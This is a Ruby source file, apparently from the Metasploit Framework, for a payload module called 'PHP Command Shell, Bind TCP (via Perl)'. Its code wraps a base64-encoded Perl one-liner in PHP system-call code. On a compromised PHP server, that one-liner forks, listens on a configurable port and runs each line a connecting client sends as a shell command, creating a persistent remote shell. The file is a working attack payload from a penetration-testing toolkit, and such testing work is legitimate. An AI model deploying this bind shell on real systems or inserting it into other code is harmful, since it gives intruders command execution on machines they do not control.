bcoles
59 lines
1.6 KiB
Ruby
59 lines
1.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
module MetasploitModule
|
|
CachedSize = :dynamic
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
include Msf::Payload::Php
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
merge_info(
|
|
info,
|
|
'Name' => 'PHP Command Shell, Bind TCP (via Perl)',
|
|
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
|
|
'Author' => ['Samy <samy[at]samy.pl>', 'cazz'],
|
|
'License' => BSD_LICENSE,
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'Payload' => {
|
|
'Offsets' => {},
|
|
'Payload' => ''
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate(_opts = {})
|
|
vars = Rex::RandomIdentifier::Generator.new
|
|
dis = "$#{vars[:dis]}"
|
|
shell = <<-END_OF_PHP_CODE
|
|
#{php_preamble(disabled_varname: dis)}
|
|
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
|
|
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
|
|
END_OF_PHP_CODE
|
|
return super + shell
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
cmd = "perl -MIO -e '$p=fork();exit,if$p;" \
|
|
"$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" \
|
|
"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
|
|
|
|
return cmd
|
|
end
|
|
end
|